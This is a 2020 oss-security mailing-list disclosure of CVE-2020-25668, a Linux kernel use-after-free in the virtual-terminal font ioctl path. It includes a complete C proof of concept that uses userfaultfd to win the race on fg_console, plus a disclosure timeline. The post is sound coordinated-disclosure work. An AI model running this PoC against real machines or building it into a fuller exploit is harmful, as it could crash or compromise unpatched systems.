|
|
Message-ID: <CAH5WSp7NWysxDNpqHeN4+_edC9A8NQfp4+P_PuPNaueQgZQ4tw@mail.gmail.com>
Date: Fri, 30 Oct 2020 14:29:04 +0800
From: Minh Yuan <yuanmingbuaa@...il.com>
To: oss-security@...ts.openwall.com
Cc: nopitydays@...il.com
Subject: CVE-2020-25668: Linux kernel concurrency use-after-free in vt
Hi,
We recently discovered a uaf read in *con_font_op* in the latest kernel
(v5.9.2 for now). The root cause of this vulnerability is that there exists
a race in the global variable "*fg_console*", and the commit ca4463bf
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ca4463bf8438b403596edd0ec961ca0d4fbe0220>
can't
handle this issue.
Specifically, after obtaining "vc_cons[fg_console]" by call *do_fontx_ioctl*,
we can use *ioctl$VT_ACTIVATE* to change "fg_console" and use
*ioctl$VT_DISALLOCATE* to free the old "vc_cons[fg_console]" obtained in
*do_fontx_ioctl*. As a result, the access to vc in *con_font_op* will
cause a uaf.
To reproduce this concurrency bug stably, I use "userfaultfd" to handle the
order of "free" and "use". This is my PoC (it needs the privilege to access
tty to trigger this bug.) :
// author by ziiiro@thu
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/kd.h>
#include <linux/vt.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <pthread.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <linux/prctl.h>
#include <stdint.h>
#include <unistd.h>
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
} while (0)
int fd;
static int page_size;
static void *fault_handler_thread(void *arg) {
unsigned long value;
static struct uffd_msg msg;
long uffd;
static char *page = NULL;
struct uffdio_copy uffdio_copy;
int len, i;
if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) errExit("mmap (userfaultfd)");
}
uffd = (long)arg;
for(;;) {
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
len = poll(&pollfd, 1, -1);
read(uffd, &msg, sizeof(msg));
printf(" flags = 0x%lx\n", msg.arg.pagefault.flags);
printf(" address = 0x%lx\n", msg.arg.pagefault.address);
// change fg_console to 13
ioctl(fd, VT_ACTIVATE, 13);
ioctl(fd, VT_DISALLOCATE, 0);
// return to kernel-land
uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl: UFFDIO_COPY");
}
}
void setup_pagefault(void *addr, unsigned size) {
long uffd;
pthread_t th;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
// new userfaulfd
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) errExit("userfaultfd");
// enabled uffd object
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl:
UFFDIO_API");
// register memory address
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = size;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl:
UFFDIO_REGITER");
// monitor page fault
s = pthread_create(&th, NULL, fault_handler_thread, (void*)uffd);
if (s != 0) errExit("pthread_create");
}
int main(int argc, char *argv[])
{
fd = open("/dev/tty1", O_RDWR);
struct consolefontdesc cfdarg;
page_size = sysconf(_SC_PAGE_SIZE);
void *addr = (void*)mmap((void*)0x233000,
page_size * 2,
PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANON,
-1, 0);
if ((unsigned long)addr != 0x233000)
errExit("mmap (0x233000)");
setup_pagefault(addr, page_size);
cfdarg.charcount = 256;
cfdarg.charheight = 8;
cfdarg.chardata = addr;
// change fg_console to 10
ioctl(fd, VT_ACTIVATE, 10);
ioctl(fd, PIO_FONTX, &cfdarg);
return 0;
}
I change "fg_console" to *10* and *13* respectively, you can change it to
any other appropriate number.
In addition to "con_font_op", I think other functions that read or write
vc_cons[fg_console] will also have the same issue.
Timeline:
* 10.23.20 - Vulnerability reported to security@...nel.org and
linux-distros@...openwall.org.
* 10.27.20 - CVE-2020-25668 assigned.
* 10.30.20 - Vulnerability opened.
Regards,
Yuan Ming, Bodong Zhao from Tsinghua University
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.